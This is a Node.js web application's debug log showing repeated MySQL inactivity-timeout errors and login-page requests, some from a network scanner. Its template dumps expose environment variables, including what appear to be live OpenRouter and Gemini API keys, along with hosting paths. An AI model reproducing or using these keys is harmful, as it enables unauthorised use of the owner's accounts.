    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-25 05:41:14' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-25 06:47:14' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-25 06:47:14' as DATETIME)"
}
2026-05-25T08:00:45.572Z server-connect:router Serving templateView /
2026-05-25T08:00:45.573Z server-connect:app Executing action step identify
2026-05-25T08:00:45.573Z server-connect:app options: { provider: 'security' }
2026-05-25T08:00:45.574Z server-connect:auth No login cookie found
2026-05-25T08:00:45.574Z server-connect:output identity: false
2026-05-25T08:00:45.574Z server-connect:app Executing action step restrict
2026-05-25T08:00:45.574Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-05-25T08:00:45.574Z server-connect:output restrict: undefined
2026-05-25T08:00:46.233Z server-connect:router Serving templateView /login
2026-05-25T08:00:46.233Z server-connect:app Executing action step identify
2026-05-25T08:00:46.233Z server-connect:app options: { provider: 'security' }
2026-05-25T08:00:46.234Z server-connect:auth No login cookie found
2026-05-25T08:00:46.234Z server-connect:output identity: false
2026-05-25T08:00:46.234Z server-connect:router Render template layouts/authentication
2026-05-25T08:00:46.234Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '205.210.31.163',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-05-26T08:00:46.233Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '205.210.31.163',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '205.210.31.163',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-25 09:18:14' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-25 09:18:14' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-25 09:36:14' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-25 09:36:14' as DATETIME)"
}
2026-05-25T10:21:34.924Z server-connect:router Serving templateView /
2026-05-25T10:21:34.926Z server-connect:app Executing action step identify
2026-05-25T10:21:34.926Z server-connect:app options: { provider: 'security' }
2026-05-25T10:21:34.926Z server-connect:auth No login cookie found
2026-05-25T10:21:34.926Z server-connect:output identity: false
2026-05-25T10:21:34.926Z server-connect:app Executing action step restrict
2026-05-25T10:21:34.926Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-05-25T10:21:34.927Z server-connect:output restrict: undefined
2026-05-25T10:21:35.314Z server-connect:router Serving templateView /login
2026-05-25T10:21:35.314Z server-connect:app Executing action step identify
2026-05-25T10:21:35.314Z server-connect:app options: { provider: 'security' }
2026-05-25T10:21:35.314Z server-connect:auth No login cookie found
2026-05-25T10:21:35.314Z server-connect:output identity: false
2026-05-25T10:21:35.314Z server-connect:router Render template layouts/authentication
2026-05-25T10:21:35.315Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '205.210.31.53',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-05-26T10:21:35.313Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '205.210.31.53',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '205.210.31.53',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-25 14:13:15' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-25 14:13:15' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-25 14:56:15' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-25 14:56:15' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-25 15:09:15' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-25 15:09:15' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-25 17:10:15' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-25 17:10:15' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-25 19:37:15' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-25 19:37:15' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-25 20:56:15' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-25 20:56:15' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-25 21:25:15' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-25 21:25:15' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-25 22:20:16' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-25 22:20:16' as DATETIME)"
}
2026-05-26T01:26:21.408Z server-connect:router Serving templateView /
2026-05-26T01:26:21.409Z server-connect:app Executing action step identify
2026-05-26T01:26:21.410Z server-connect:app options: { provider: 'security' }
2026-05-26T01:26:21.410Z server-connect:auth No login cookie found
2026-05-26T01:26:21.410Z server-connect:output identity: false
2026-05-26T01:26:21.410Z server-connect:app Executing action step restrict
2026-05-26T01:26:21.410Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-05-26T01:26:21.411Z server-connect:output restrict: undefined
2026-05-26T01:26:21.719Z server-connect:router Serving templateView /login
2026-05-26T01:26:21.720Z server-connect:app Executing action step identify
2026-05-26T01:26:21.720Z server-connect:app options: { provider: 'security' }
2026-05-26T01:26:21.720Z server-connect:auth No login cookie found
2026-05-26T01:26:21.720Z server-connect:output identity: false
2026-05-26T01:26:21.720Z server-connect:router Render template layouts/authentication
2026-05-26T01:26:21.720Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)',
    'accept-encoding': 'gzip',
    accept: '*/*',
    connection: 'keep-alive',
    'x-forwarded-for': '82.165.209.144',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-05-27T01:26:21.719Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '82.165.209.144',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_ACCEPT: '*/*',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-FOR': '82.165.209.144',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-26 02:53:16' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
